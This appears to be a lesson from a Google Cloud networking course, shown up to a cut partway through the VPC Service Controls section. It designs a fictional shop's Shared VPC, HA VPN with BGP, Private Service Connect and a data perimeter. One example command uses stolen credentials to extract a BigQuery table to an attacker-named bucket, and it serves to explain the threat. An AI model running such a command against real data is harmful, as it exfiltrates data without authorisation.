AlpinaShop's network was designed in 03-01 for a situation that no longer exists. There was one project that mattered, one application to serve and one VPC with two subnets. It worked perfectly for four modules.

Today the picture is different. There are four projects — alpinashop-prod, alpinashop-dev, alpinashop-datos and alpinashop-cicd — each with its own VPC, knowing nothing about the others. Lucía needs her BigQuery queries to reach the alpinashop-pedidos-replica-informes replica, which lives in another project. The Cloud Run service deployed in 07-02 ought to talk to Cloud SQL over a private IP instead of through the connector. The payment gateway requires requests to arrive from a fixed IP. And DA-004 committed to a tunnel to the MySQL ERP in the Sabadell shop that does not exist yet.

There is also a risk nobody has looked at: if tomorrow the credentials of sa-informes-nocturnos are leaked, that account can read the whole alpinashop_analitica dataset and copy it to a bucket in any other Google Cloud project in the world. IAM authorises the read; nothing prevents the exit.

This lesson resolves all five things. By the end you will know when one VPC in one project stops being enough, you will design AlpinaShop's Shared VPC, you will distinguish peering from a shared network with judgement, you will connect the Sabadell shop with HA Cloud VPN step by step while properly understanding BGP, you will publish and consume services over private IPs with Private Service Connect, you will raise a VPC Service Controls perimeter around the data, and you will know how to diagnose a network failure with tools rather than intuition.

And you will know where the part of the bill nobody looks at is hiding: traffic.

Contents

  1. When one VPC in one project stops being enough
  2. The addressing design for the whole organization
  3. Shared VPC: host project and service projects
  4. Implementing AlpinaShop's Shared VPC
  5. VPC peering: how it works and what it does not do
  6. Decision table: Shared VPC, peering or interconnect
  7. Private Service Connect: services over private IPs
  8. Hybrid connectivity: the three options for reaching Sabadell
  9. HA Cloud VPN step by step
  10. Cloud Router, BGP and dynamic routing properly explained
  11. Route advertisement and the mistakes that break connectivity
  12. Network Connectivity Center: managed hub-and-spoke topology
  13. VPC Service Controls: the perimeter against exfiltration
  14. Network diagnostics: Network Intelligence Center and a real failure
  15. Premium and Standard network service tiers
  16. The cost of traffic: where the bill hides

  1. When one VPC in one project stops being enough

One VPC in a single project is the right answer for longer than people think. These are the concrete signs that it has been outgrown:

Sign What causes it What resolves it
Several projects that need to talk over private IPs Separation by environment or by team Shared VPC or peering
The same network design replicated by hand in three projects Copying and pasting subnets and rules Shared VPC
Nobody knows what firewall rules there are in total Firewall spread across projects Shared VPC
You need to reach a system outside Google Cloud An ERP, a mainframe, an office VPN or Interconnect
You need to consume a third party's service without going out to the internet SaaS, partners Private Service Connect
You are worried somebody could copy the data out Leaked credentials, human error VPC Service Controls
The IP ranges are starting to clash Nobody was keeping a record An addressing plan

AlpinaShop ticks six of the seven. The time has come.

But before touching anything, you have to do what almost nobody does and that avoids 80 % of future problems.

  1. The addressing design for the whole organization

An addressing plan is a spreadsheet stating which range each thing uses. It sounds trivial. It is what separates a network that grows from a network that has to be rebuilt.

The rule that governs everything:

Two ranges that could ever end up connected cannot overlap. Ever. Under any circumstances.

And it is stricter than it sounds, because "ever" includes: a company merger, a supplier connecting over VPN, a secondary cloud, a new office, a partner whose networks get peered with yours. When two ranges overlap, there is no configuration that fixes it: you have to renumber one of the two networks, with a service outage.

AlpinaShop's plan, designed with headroom for ten years:

Block Range Use Status
10.10.0.0/16 65,536 IPs Google Cloud, europe-west1 In use
10.10.0.0/24 256 sn-web-euw1 — web workloads In use
10.10.1.0/24 256 sn-datos-euw1 — databases In use
10.10.2.0/24 256 sn-dev-euw1 — development New
10.10.3.0/24 256 sn-datos-analitica-euw1 New
10.10.8.0/22 1,024 Secondary range for GKE pods Reserved
10.10.12.0/24 256 Secondary range for GKE services Reserved
10.10.16.0/24 256 Proxy-only subnet (internal load balancers) Reserved
10.10.20.0/24 256 Cloud Run — Direct VPC New
10.10.240.0/20 4,096 Private services access (Cloud SQL, Memorystore) In use
10.20.0.0/16 65,536 Google Cloud, europe-southwest1 (Madrid) Reserved, unused
192.168.10.0/24 256 Sabadell shop — local network Existing
192.168.20.0/24 256 Head office Existing
172.16.0.0/12 — Forbidden: Docker uses it by default Blocked

Four decisions that deserve an explanation:

  1. Reserving 10.20.0.0/16 for a second region even though it is unused. It costs nothing. The day 07-06 requires multi-region, the range is free and there is nobody to negotiate with.
  2. The GKE secondary ranges are reserved even though the cluster is being retired. Pod ranges are enormous and having them devoured unexpectedly is a classic.
  3. 10.10.240.0/20 for private services access. When you create a Cloud SQL instance with a private IP, Google needs a range inside your VPC that it "takes" from you for its own use. If you do not plan it, it assigns you one and then it clashes with something.
  4. Explicitly forbidding 172.16.0.0/12. It is the range Docker uses by default for its bridge networks. Any container using that range internally will not be able to reach a VPC IP in that same range. It is a guaranteed wasted afternoon.

Tip: this plan lives in the alpinashop-infra repository as a file called DIRECCIONAMIENTO.md and it is reviewed in the same pull request that creates the subnet. A plan that sits in somebody's spreadsheet is not a plan.

  1. Shared VPC: host project and service projects

Shared VPC (formerly XPN, an acronym that survives in some commands and roles) allows a VPC defined in one project to be used by resources in other projects.

flowchart TB
    subgraph HOST["HOST project: alpinashop-red (folder compartido)"]
      VPC["alpinashop-vpc"]
      S1["sn-web-euw1<br/>10.10.0.0/24"]
      S2["sn-datos-euw1<br/>10.10.1.0/24"]
      S3["sn-dev-euw1<br/>10.10.2.0/24"]
      FW["fw-* rules"]
      RT["alpinashop-router-euw1<br/>+ NAT + VPN"]
      VPC --- S1 & S2 & S3 & FW & RT
    end
    subgraph SVC["Service projects"]
      P1["alpinashop-prod<br/>Cloud Run, Cloud SQL"]
      P2["alpinashop-dev<br/>test VM"]
      P3["alpinashop-datos<br/>BigQuery, Dataflow"]
    end
    S1 -.->|"used by"| P1
    S3 -.->|"used by"| P2
    S2 -.->|"used by"| P3

    style HOST fill:#e8f0fe,stroke:#4285f4

The central idea, and it is elegant:

The network lives in one place. The resources live in another. Billing and permissions follow the resources.

A VM in alpinashop-prod with an IP from sn-web-euw1 is billed to alpinashop-prod, is administered by alpinashop-prod's permissions, and its traffic obeys the firewall rules that live in alpinashop-red. It can talk to a VM in alpinashop-dev over a private IP because they are on the same VPC, even though they are different projects.

Who administers what

This division of labour is the whole point of Shared VPC and the part you have to understand:

Task Who Role
Create the VPC and the subnets Network team (Marta) in the host project roles/compute.networkAdmin on the host
Create and modify firewall rules Network team on the host roles/compute.securityAdmin on the host
Configure Cloud Router, NAT, VPN Network team on the host roles/compute.networkAdmin
Attach a service project Shared VPC administrator roles/compute.xpnAdmin at organization or folder level
Create a VM in a subnet Development team in their own project roles/compute.networkUser on the specific subnet
Deploy Cloud Run with Direct VPC Development team roles/compute.networkUser on the subnet

The two roles to memorise:

  • compute.xpnAdmin: who can attach and detach service projects. It is an organization or folder role, not a project one. Very powerful: it goes to one or two people.
  • compute.networkUser: who can use a network or subnet. It can be granted on the whole network (bad idea) or on a specific subnet (the correct approach).

That granularity is the jewel of the model:

Dani can deploy in sn-dev-euw1 because gcp-desarrollo@ has networkUser on that subnet. He cannot deploy in sn-datos-euw1, because he does not have it. He cannot even see that subnet. And he cannot touch a single firewall rule.

It is separation of duties (03-04) applied to the network, and it is inherited automatically for every new project if it is managed with Terraform.

What you gain and what you pay

Advantage Detail
One network to understand One map, one addressing plan, one list of rules
Centralised firewall All the rules in one place, auditable at a glance
No internal peerings or tunnels The projects talk to one another because they are on the same network
One Cloud NAT, one Cloud Router, one VPN Configured once and serving everybody
Real separation of duties Centralised network, distributed compute
Fewer wasted IPs A single addressing plan
Drawback Detail
Organizational bottlenecks Every new subnet goes through the network team
Bigger blast radius A mistake in a host firewall rule affects everybody
Shared quotas Network quotas belong to the host project
Permissions learning curve You have to understand the two roles and where they apply
It does not cross organizations Host and service must be in the same organization

For AlpinaShop, with one network person and three projects, centralisation is exactly what it wants: Marta governs the network, Dani and Lucía consume subnets without being able to break one another.

  1. Implementing AlpinaShop's Shared VPC

It is done in Terraform, like everything since 06-07. But first the equivalent command, to understand what is happening.

Step 1: create the host project

The most important design decision: the network goes into its own project, alpinashop-red, in the compartido folder. Not into alpinashop-prod.

Why? Because if the network lives in production, anybody needing to touch a development subnet needs permissions in the production project. The host project ends up almost empty — network only — and that is a virtue: its permissions list is short and auditable.

gcloud projects create alpinashop-red \
  --folder=FOLDER_ID_COMPARTIDO \
  --name="AlpinaShop Red"

gcloud beta billing projects link alpinashop-red \
  --billing-account=BILLING_ACCOUNT_ID

gcloud services enable compute.googleapis.com --project=alpinashop-red

Step 2: enable the host and attach the service projects

# Turn alpinashop-red into a host project
gcloud compute shared-vpc enable alpinashop-red

# Attach the three service projects
for P in alpinashop-prod alpinashop-dev alpinashop-datos; do
  gcloud compute shared-vpc associated-projects add "$P" --host-project=alpinashop-red
done

# Verify
gcloud compute shared-vpc get-host-project alpinashop-prod
gcloud compute shared-vpc list-associated-resources alpinashop-red

Note that alpinashop-cicd is not attached: Cloud Build does not need a private IP on the VPC to build images, and every attachment is surface area that is not needed.

Step 3: the subnets with granular permissions, in Terraform

# host project: alpinashop-red

resource "google_compute_network" "alpinashop" {
  project                 = "alpinashop-red"
  name                    = "alpinashop-vpc"
  auto_create_subnetworks = false          # ALWAYS false: full control of the addressing
  routing_mode            = "GLOBAL"       # routes learned over BGP propagate to every region
}

resource "google_compute_subnetwork" "web" {
  project                  = "alpinashop-red"
  name                     = "sn-web-euw1"
  ip_cidr_range            = "10.10.0.0/24"
  region                   = "europe-west1"
  network                  = google_compute_network.alpinashop.id
  private_ip_google_access = true          # reach Google APIs without a public IP (03-01)

  log_config {
    aggregation_interval = "INTERVAL_10_MIN"
    flow_sampling        = 0.5             # 50% sampling: cost/visibility balance
    metadata             = "INCLUDE_ALL_METADATA"
  }
}

resource "google_compute_subnetwork" "datos" {
  project                  = "alpinashop-red"
  name                     = "sn-datos-euw1"
  ip_cidr_range            = "10.10.1.0/24"
  region                   = "europe-west1"
  network                  = google_compute_network.alpinashop.id
  private_ip_google_access = true
}

resource "google_compute_subnetwork" "dev" {
  project                  = "alpinashop-red"
  name                     = "sn-dev-euw1"
  ip_cidr_range            = "10.10.2.0/24"
  region                   = "europe-west1"
  network                  = google_compute_network.alpinashop.id
  private_ip_google_access = true
}

# --- Granular per-subnet permissions ---

# The development team can ONLY use the development subnet
resource "google_compute_subnetwork_iam_member" "dev_usa_dev" {
  project    = "alpinashop-red"
  region     = "europe-west1"
  subnetwork = google_compute_subnetwork.dev.name
  role       = "roles/compute.networkUser"
  member     = "group:[email protected]"
}

# The Cloud Run service account needs the web subnet for Direct VPC
resource "google_compute_subnetwork_iam_member" "run_usa_web" {
  project    = "alpinashop-red"
  region     = "europe-west1"
  subnetwork = google_compute_subnetwork.web.name
  role       = "roles/compute.networkUser"
  member     = "serviceAccount:service-${var.numero_proyecto_prod}@serverless-robot-prod.iam.gserviceaccount.com"
}

# The data team ONLY the data subnet
resource "google_compute_subnetwork_iam_member" "datos_usa_datos" {
  project    = "alpinashop-red"
  region     = "europe-west1"
  subnetwork = google_compute_subnetwork.datos.name
  role       = "roles/compute.networkUser"
  member     = "group:[email protected]"
}

Two details with consequences:

  • routing_mode = "GLOBAL". With regional routing, the routes the Cloud Router learns over BGP in europe-west1 are advertised only to that region. If tomorrow there are resources in europe-southwest1, they will not reach Sabadell. Changing it later forces the BGP sessions to be restarted. Set it to global from the start.
  • The serverless-robot-prod account is Cloud Run's service agent. When a serverless service uses Direct VPC on a Shared VPC, it is that account, not yours, that needs networkUser. It is a permission nobody guesses and it produces a cryptic error on deployment.

Step 4: moving what already existed

Here comes the uncomfortable truth:

A VM cannot be moved from one VPC to another. It has to be recreated on the new network.

AlpinaShop's migration is, luckily, straightforward thanks to what has already been done:

Resource How it moves Interruption
Cloud Run alpinashop-web Update --network and --subnet. It creates a new revision None: traffic split
Cloud SQL alpinashop-pedidos Requires reconfiguring private services access Planned window
alpinashop-cluster (GKE) Cannot be migrated: the cluster has to be recreated It no longer has production on it (07-02)
Load balancer and Cloud Armor They are global, they do not depend on the VPC None
Cloud NAT and router They are recreated on the host None if done beforehand

That the migration to Shared VPC is easy is a direct dividend of having moved the catalogue to Cloud Run. With the MIG, the VMs would have to be recreated.

  1. VPC peering: how it works and what it does not do

VPC peering connects two VPCs so that their resources talk over private IPs, without sharing administration.

# Side A
gcloud compute networks peerings create vpc-a-hacia-b \
  --network=vpc-a --peer-project=proyecto-b --peer-network=vpc-b

# Side B: THIS MUST BE DONE TOO. The peering does not exist until both sides create it
gcloud compute networks peerings create vpc-b-hacia-a \
  --network=vpc-b --peer-project=proyecto-a --peer-network=vpc-a

Characteristics:

  • Traffic over Google's internal network: low latency, high bandwidth.
  • No cost for the peering itself (traffic between zones or regions is charged).
  • It works between different organizations, unlike Shared VPC.
  • Each side keeps its own firewall and its own administration.

And here are the three limitations that define when it is useful and when it is not.

Limitation 1: it is not transitive

It is the most important limitation and the one most people discover too late.

flowchart LR
    A["VPC A<br/>10.1.0.0/16"] <-->|"peering"| B["VPC B<br/>10.2.0.0/16"]
    B <-->|"peering"| C["VPC C<br/>10.3.0.0/16"]
    A -.->|"NO CONNECTIVITY"| C

    style A fill:#e8f0fe
    style C fill:#fce8e6

If A peers with B, and B with C, A cannot talk to C. Not by adding routes, not with a proxy in B (that is no longer peering). For N networks that all have to talk to one another you need N×(N−1)/2 peerings: 3 networks means 3, 5 networks means 10, 10 networks means 45. It stops being manageable fast — and that is exactly the problem Network Connectivity Center solves (section 12).

The most common practical consequence: a peered VPC cannot reach your VPN to the offices through you. It is a case that comes up constantly and surprises people every time.

Limitation 2: ranges cannot overlap

If A uses 10.1.0.0/16 and C does too, they can never be peered. And there is no NAT to save you in a peering. It is the reason for section 2.

Limitation 3: aggregated quotas

Routes, forwarding rules and internal addresses add up across peered networks for quota purposes. In large networks this becomes a real limit.

Fine control: what gets advertised

By default only the subnet routes are exchanged. This can be tuned:

gcloud compute networks peerings update vpc-a-hacia-b \
  --network=vpc-a \
  --export-custom-routes \        # export static routes and routes learned over BGP
  --import-custom-routes          # import those from the other side

--export-custom-routes is what lets the other VPC reach, for example, the Sabadell network through your VPN. It is disabled by default and it is the number one cause of "the peering is established but I cannot get through".

  1. Decision table: Shared VPC, peering or interconnect

Criterion Shared VPC VPC peering Network Connectivity Center
Network administration Centralised Independent on each side Centralised (hub-and-spoke)
Same organization? Mandatory Not required Usually yes
Transitivity Total (it is a single network) No Yes, via the hub
Overlapping ranges Impossible by design Forbidden Forbidden
Firewall rules One set, on the host One set per VPC Per spoke
Scale Hundreds of service projects Degrades with N² Hundreds of spokes
Cost No additional cost No additional cost Per spoke per hour
Typical case One company, several teams Two companies, a partner, a SaaS Many networks and sites
AlpinaShop Yes, this is the choice Only if a partner appears Not needed

The decision rule:

Are the projects mine and do I want one network to govern? → Shared VPC. Is the other network somebody else's, or do I need separate administration? → Peering. Do I have more than five networks and sites that all have to talk? → Network Connectivity Center.

  1. Private Service Connect: services over private IPs

Private Service Connect (PSC) solves a different problem: consuming a service over a private IP from your own VPC, without peering networks and without exposing anything to the internet.

It has three uses, and they are worth distinguishing:

Use 1: reaching Google APIs over an IP of your own

In 03-01 Private Google Access was enabled, which allows a VM without a public IP to reach storage.googleapis.com using the 199.36.153.8/30 range. It works, but the destination is still a Google IP.

With PSC you create an endpoint with an IP from your own range:

# Reserve an internal IP for the endpoint
gcloud compute addresses create psc-apis-google \
  --global --purpose=PRIVATE_SERVICE_CONNECT \
  --addresses=10.10.250.10 \
  --network=alpinashop-vpc \
  --project=alpinashop-red

# Create the endpoint to all Google APIs
gcloud compute forwarding-rules create psc-apis-google \
  --global \
  --network=alpinashop-vpc \
  --address=psc-apis-google \
  --target-google-apis-bundle=all-apis \
  --project=alpinashop-red

From then on, 10.10.250.10 is the access point to Google's APIs. With a private DNS record (*.googleapis.com → 10.10.250.10) all traffic to the APIs goes through it.

What do you gain over Private Google Access? Three concrete things:

  1. It works from outside the VPC: from Sabadell, through the VPN tunnel, a machine can reach 10.10.250.10 and use Cloud Storage. With Private Google Access, it cannot. This is the main reason.
  2. An IP of your own that you can control with the firewall and see in the Flow Logs.
  3. It is a common requirement when there are VPC Service Controls, with the vpc-sc bundle instead of all-apis.

Use 2: consuming a service published by a third party

A SaaS — a data platform, a payments provider — publishes its service as PSC. You create an endpoint in your VPC with an IP of your own, and you consume the service without going out to the internet, without a VPN and without peering networks:

gcloud compute forwarding-rules create psc-proveedor-pagos \
  --region=europe-west1 \
  --network=alpinashop-vpc \
  --address=10.10.250.20 \
  --target-service-attachment=projects/PROVEEDOR/regions/europe-west1/serviceAttachments/sa-pagos

The decisive advantage over peering: no ranges or routes are shared. The provider does not see your network and you do not see theirs. Only the specific service is exposed. That is why PSC has replaced peering as the standard way of connecting to providers.

Use 3: publishing your own service

Symmetrically, AlpinaShop could publish its partner API behind an internal load balancer and expose it as a service attachment so partner shops can consume it from their own VPCs.

flowchart LR
    subgraph CONS["Consumer VPC"]
      EP["PSC endpoint<br/>10.50.0.5"]
    end
    subgraph PROD["AlpinaShop VPC"]
      SA["Service attachment"] --> ILB["Internal load balancer"] --> API["Partner API"]
    end
    EP -->|"Google network, private IP"| SA

Comparison of the private access mechanisms

Mechanism What for Destination IP
Private Google Access VM without a public IP → Google APIs Google's (199.36.153.8/30)
Private Service Connect Anybody → Google APIs or third-party services Yours
Private services access Cloud SQL, Memorystore with a private IP From the range you ceded (10.10.240.0/20)
Peering Full VPC ↔ VPC The other side's

  1. Hybrid connectivity: the three options for reaching Sabadell

DA-004 committed to a private link with the shop. There are three ways.

HA Cloud VPN Partner Interconnect Dedicated Interconnect
Medium The internet, IPsec encrypted Service provider Your own physical fibre
Bandwidth Up to 3 Gbps per tunnel (typically 1.5-3) 50 Mbps – 50 Gbps 10 or 100 Gbps per link
Latency The internet's + encryption Low and stable The lowest and most stable
SLA 99.99 % with an HA configuration 99.9 % or 99.99 % depending on topology 99.9 % or 99.99 % depending on topology
Time to set up Minutes Days or weeks Weeks or months
Monthly cost Of the order of tens of € per tunnel Hundreds to thousands of € Thousands of € + installation
Encryption IPsec, included Not by default (MACsec or a VPN is added on top) Not by default
Requires a physical presence No At the provider At a Google interconnect point
When Up to ~3 Gbps, fast start Medium bandwidth, no physical presence High volume, critical latency

For AlpinaShop the decision is not up for debate. The expected traffic is a few stock tables every 10 minutes and a few hundred orders a day: kilobytes, not gigabytes. Buying an Interconnect for that would be like hiring an articulated lorry to bring the shopping home. HA Cloud VPN, in minutes and for tens of euros a month.

A note on when that would change: if a large database had to be continuously replicated, if the volume sustainably exceeded 1-2 Gbps, or if internet latency were unacceptable for an interactive process. None applies.

  1. HA Cloud VPN step by step

HA Cloud VPN (high availability) is the version with a 99.99 % SLA. The difference from classic VPN:

Classic VPN (obsolete) HA Cloud VPN
Gateway interfaces 1 2, with different public IPs
Minimum tunnels 1 2
Routing Static or dynamic Dynamic with mandatory BGP
SLA 99.9 % 99.99 % with two tunnels to two devices

To achieve 99.99 % you need two tunnels from the two interfaces of Google's gateway to two devices (or at least two IPs) on the other side. With a single device in Sabadell you get 99.9 %, which for a shop is more than enough.

flowchart LR
    subgraph GCP["Google Cloud - alpinashop-red"]
      GW["alpinashop-vpn-gw<br/>if0: 34.x.x.1<br/>if1: 34.x.x.2"]
      CR["alpinashop-router-euw1<br/>ASN 65001"]
      VPC["alpinashop-vpc<br/>10.10.0.0/16"]
      GW --- CR --- VPC
    end
    subgraph SAB["Sabadell shop"]
      FW["Router/firewall<br/>public IP 88.x.x.x<br/>ASN 65010"]
      LAN["LAN 192.168.10.0/24"]
      ERP["ERP MySQL<br/>192.168.10.20"]
      FW --- LAN --- ERP
    end
    GW <-->|"tunnel 0 - IPsec"| FW
    GW <-->|"tunnel 1 - IPsec"| FW

Step 1: the HA VPN gateway

gcloud compute vpn-gateways create alpinashop-vpn-gw \
  --network=alpinashop-vpc \
  --region=europe-west1 \
  --project=alpinashop-red

gcloud compute vpn-gateways describe alpinashop-vpn-gw \
  --region=europe-west1 --format="get(vpnInterfaces)"

Google assigns two public IPs, one per interface. Write them down: they are the ones to configure on the Sabadell router.

Step 2: the gateway on the other side

Google needs to know what the remote device looks like:

gcloud compute external-vpn-gateways create gw-sabadell \
  --interfaces=0=88.20.145.7 \
  --project=alpinashop-red

--interfaces=0=IP declares one device. If there were two routers in Sabadell, it would be 0=IP_A,1=IP_B and you would reach 99.99 %.

Step 3: the Cloud Router

gcloud compute routers create alpinashop-router-euw1 \
  --network=alpinashop-vpc \
  --region=europe-west1 \
  --asn=65001 \
  --advertisement-mode=custom \
  --set-advertisement-groups=all-subnets \
  --project=alpinashop-red
  • --asn=65001: Google's autonomous system number in this BGP session. The private range 64512-65534 is used.
  • --advertisement-mode=custom: explicit control over what is advertised. With default all subnets are advertised automatically; custom forces you to decide, which is the right thing (section 11).

If the router already exists because of the Cloud NAT from 03-01, it is reused: one Cloud Router serves both NAT and VPN.

Step 4: the two tunnels

SECRETO=$(openssl rand -base64 32)   # and stored in Secret Manager, not in the shell history

for I in 0 1; do
  gcloud compute vpn-tunnels create tunel-sabadell-$I \
    --peer-external-gateway=gw-sabadell \
    --peer-external-gateway-interface=0 \
    --region=europe-west1 \
    --ike-version=2 \
    --shared-secret="$SECRETO" \
    --router=alpinashop-router-euw1 \
    --vpn-gateway=alpinashop-vpn-gw \
    --interface=$I \
    --project=alpinashop-red
done
  • --interface=$I: each tunnel leaves through a different gateway interface. This is where the redundancy is.
  • --ike-version=2: IKEv2 always. IKEv1 only if the remote equipment is old.
  • --shared-secret: the pre-shared key. It must match the one on the Sabadell router exactly and it goes into Secret Manager (03-06), never into a Terraform file.

Step 5: the BGP sessions

Each tunnel needs its own BGP session, with link IPs in a /30 from the link-local range 169.254.0.0/16:

for I in 0 1; do
  gcloud compute routers add-interface alpinashop-router-euw1 \
    --interface-name=if-tunel-$I \
    --vpn-tunnel=tunel-sabadell-$I \
    --ip-address=169.254.10.$((1 + I*4)) \
    --mask-length=30 \
    --region=europe-west1 --project=alpinashop-red

  gcloud compute routers add-bgp-peer alpinashop-router-euw1 \
    --peer-name=bgp-sabadell-$I \
    --interface=if-tunel-$I \
    --peer-ip-address=169.254.10.$((2 + I*4)) \
    --peer-asn=65010 \
    --advertised-route-priority=$((100 + I*100)) \
    --region=europe-west1 --project=alpinashop-red
done

Resulting addressing:

Tunnel Google IP Sabadell IP Priority
0 169.254.10.1/30 169.254.10.2 100 (preferred)
1 169.254.10.5/30 169.254.10.6 200 (backup)

A lower --advertised-route-priority wins. With these priorities, tunnel 0 is the active one and tunnel 1 the backup; if 0 goes down, BGP converges on 1 within seconds. For active-active you would set the same priority on both and traffic would be spread by ECMP.

Step 6: firewall and verification

gcloud compute firewall-rules create fw-permitir-desde-sabadell \
  --network=alpinashop-vpc \
  --direction=INGRESS \
  --action=allow \
  --rules=tcp:3306,icmp \
  --source-ranges=192.168.10.0/24 \
  --target-tags=acceso-erp \
  --project=alpinashop-red

# Tunnel status: you are looking for "ESTABLISHED"
gcloud compute vpn-tunnels list --project=alpinashop-red \
  --format="table(name,status,detailedStatus)"

# BGP status: you are looking for "UP" and the learned routes
gcloud compute routers get-status alpinashop-router-euw1 \
  --region=europe-west1 --project=alpinashop-red \
  --format="yaml(result.bgpPeerStatus)"

Good output looks like this:

result:
  bgpPeerStatus:
  - name: bgp-sabadell-0
    state: Established
    status: UP
    numLearnedRoutes: 1
    advertisedRoutes: [10.10.0.0/24, 10.10.1.0/24, 10.10.2.0/24]
    learnedRoutes:
    - destIpRange: 192.168.10.0/24

numLearnedRoutes: 1 and 192.168.10.0/24 in learnedRoutes is the proof that it works. If the tunnel is ESTABLISHED but numLearnedRoutes: 0, the problem is not the VPN: it is that the other side is not advertising anything over BGP.

  1. Cloud Router, BGP and dynamic routing properly explained

It is worth understanding what is going on, because almost all hybrid connectivity failures are routing failures rather than tunnel failures.

BGP (Border Gateway Protocol) is the protocol two networks use to tell each other which destinations they know how to reach. Each network has an identifier, the ASN, and advertises its prefixes.

Concept What it is At AlpinaShop
ASN Identifier of the network Google: 65001. Sabadell: 65010
BGP session A TCP:179 conversation between two routers One per tunnel
Advertised route "I know how to reach X" Google advertises 10.10.0.0/24, 10.10.1.0/24, 10.10.2.0/24
Learned route What the other side advertises Google learns 192.168.10.0/24
Priority / MED Preference between paths 100 vs 200

The difference from static routing is what justifies the whole apparatus:

Static Dynamic (BGP)
New routes Added by hand on both sides They advertise themselves
A tunnel going down Traffic keeps going to the dead tunnel Converges on the other in seconds
A new subnet in GCP Edit the remote router It advertises itself
Scale Becomes unmanageable Fine

The case that makes it obvious: when Marta creates sn-run-euw1 (10.10.20.0/24) for Cloud Run's Direct VPC, the Cloud Router will advertise it automatically to Sabadell and the ERP will be able to answer it without anybody touching the shop's router. With static routes, you would have to call the shop's provider every time.

And the detail that gets forgotten: the global routing from section 4. With routing_mode = REGIONAL, a Cloud Router in europe-west1 only advertises subnets in europe-west1. With GLOBAL, it advertises them all.

  1. Route advertisement and the mistakes that break connectivity

With --advertisement-mode=custom you decide exactly what is advertised. Common cases:

# Advertise the subnets PLUS a range that is not a subnet
# (for example the private services access range where Cloud SQL lives)
gcloud compute routers update alpinashop-router-euw1 \
  --region=europe-west1 \
  --advertisement-mode=custom \
  --set-advertisement-groups=all-subnets \
  --set-advertisement-ranges=10.10.240.0/20=rango-cloud-sql \
  --project=alpinashop-red

Without that line, Sabadell cannot reach Cloud SQL over a private IP even though the tunnel works perfectly, because 10.10.240.0/20 is not a subnet of the VPC: it is a range ceded to Google. It is one of the most baffling failures there is, because everything looks fine.

You can also advertise only from one specific BGP session, which is useful for egress policies:

gcloud compute routers update-bgp-peer alpinashop-router-euw1 \
  --peer-name=bgp-sabadell-0 \
  --advertisement-mode=custom \
  --set-advertisement-ranges=10.10.0.0/24,10.10.1.0/24 \
  --region=europe-west1 --project=alpinashop-red

The five classic routing mistakes

Mistake Symptom Fix
Overlapping ranges Traffic "disappears" or goes to the wrong place Renumber. There is no shortcut
Not advertising the private services range Tunnel up, but Cloud SQL is unreachable --set-advertisement-ranges
routing_mode = REGIONAL with multi-region resources One region gets through and the other does not Change to GLOBAL
Expecting transitivity from peering The peered VPC does not reach the VPN It is impossible by design; use NCC or Shared VPC
Forgotten firewall BGP up, ping with no reply An ingress rule for the remote range

  1. Network Connectivity Center: managed hub-and-spoke topology

When there are many networks and many sites, peering's N² problem becomes unbearable. Network Connectivity Center (NCC) resolves that with a hub-and-spoke model:

  • A central hub, which is a logical resource.
  • Spokes: VPCs, VPN tunnels, Interconnect attachments, or third-party virtual appliances.
  • The hub routes between spokes, which gives the transitivity peering does not have.
flowchart TB
    HUB(("NCC hub"))
    S1["Production VPC"] --- HUB
    S2["Data VPC"] --- HUB
    S3["Sabadell VPN"] --- HUB
    S4["Head office VPN"] --- HUB
    S5["Partner Interconnect"] --- HUB
gcloud network-connectivity hubs create alpinashop-hub --project=alpinashop-red

gcloud network-connectivity spokes linked-vpc-network create radio-prod \
  --hub=alpinashop-hub --vpc-network=alpinashop-vpc \
  --global --project=alpinashop-red

Does AlpinaShop need it? No. With a Shared VPC and one link to Sabadell, the hub adds nothing and it costs per spoke per hour. It is explained because it is the right answer when the network grows — five or more networks and sites that have to talk to one another — and because knowing it exists stops you building fifteen peerings by hand.

  1. VPC Service Controls: the perimeter against exfiltration

This section answers the risk raised at the start of the lesson, and it is probably the most important thing here.

The problem IAM does not solve. IAM controls who can do what. It does not control from where or to where. If sa-informes-nocturnos has permission to read alpinashop_analitica, and somebody steals its credentials:

# With the stolen credential, from any machine on the internet:
bq extract alpinashop-datos:alpinashop_analitica.pedidos \
   gs://bucket-del-atacante/exfiltrado-*.csv

IAM authorises this operation. The permission exists, the request is legitimate from an authorisation point of view. And the data walks out.

VPC Service Controls create a perimeter around projects and services. Inside the perimeter you can work; data does not cross the boundary, not even with valid credentials.

flowchart TB
    subgraph PER["Perimeter: alpinashop-datos"]
      BQ["BigQuery<br/>alpinashop_analitica"]
      GCS["Buckets<br/>alpinashop-datalake"]
    end
    OK["Dataflow from<br/>10.10.1.0/24"] -->|"ALLOWED"| PER
    LU["Lucia from a corporate<br/>IP + access level"] -->|"ALLOWED"| PER
    MAL["Stolen credential<br/>from the internet"] -.->|"BLOCKED"| PER
    PER -.->|"BLOCKED:<br/>copy to an external bucket"| EXT["Foreign project"]

    style PER fill:#e6f4ea,stroke:#34a853
    style MAL fill:#fce8e6,stroke:#ea4335
    style EXT fill:#fce8e6,stroke:#ea4335

AlpinaShop's perimeter

# 1. Access level: where you CAN come in from
gcloud access-context-manager levels create acceso_corporativo \
  --title="Acceso corporativo AlpinaShop" \
  --basic-level-spec=nivel.yaml \
  --policy=POLICY_ID
# nivel.yaml
- ipSubnetworks:
    - 88.20.145.0/24        # head office
    - 192.168.10.0/24       # Sabadell shop, through the tunnel
- members:
    - serviceAccount:[email protected]
# 2. The perimeter, IN DRY RUN MODE FIRST
gcloud access-context-manager perimeters create perimetro_datos \
  --title="Perimetro de datos AlpinaShop" \
  --resources=projects/NUMERO_PROYECTO_DATOS \
  --restricted-services=bigquery.googleapis.com,storage.googleapis.com \
  --access-levels=acceso_corporativo \
  --perimeter-type=regular \
  --policy=POLICY_ID \
  --dry-run                          # <<< ESSENTIAL

With --dry-run, the perimeter records what it would block without blocking anything. You leave it for a week or two and analyse the violations:

-- Violations that would occur, from the audit logs
SELECT
  timestamp,
  protopayload_auditlog.authenticationInfo.principalEmail AS identity,
  protopayload_auditlog.methodName AS method,
  protopayload_auditlog.metadata.dryRun AS in_dry_run,
  protopayload_auditlog.metadata.violationReason AS reason
FROM `alpinashop-datos.auditoria.cloudaudit_googleapis_com_policy`
WHERE DATE(timestamp) >= DATE_SUB(CURRENT_DATE(), INTERVAL 14 DAY)
ORDER BY timestamp DESC

Only when the list is clean or justified do you apply it for real (--enable-dry-run-config and promotion of the perimeter).

The warning that must be taken seriously

VPC Service Controls is the Google Cloud feature that has locked the most people out of their own environment.

What it usually breaks, and what has to be anticipated beforehand:

What breaks Why Fix
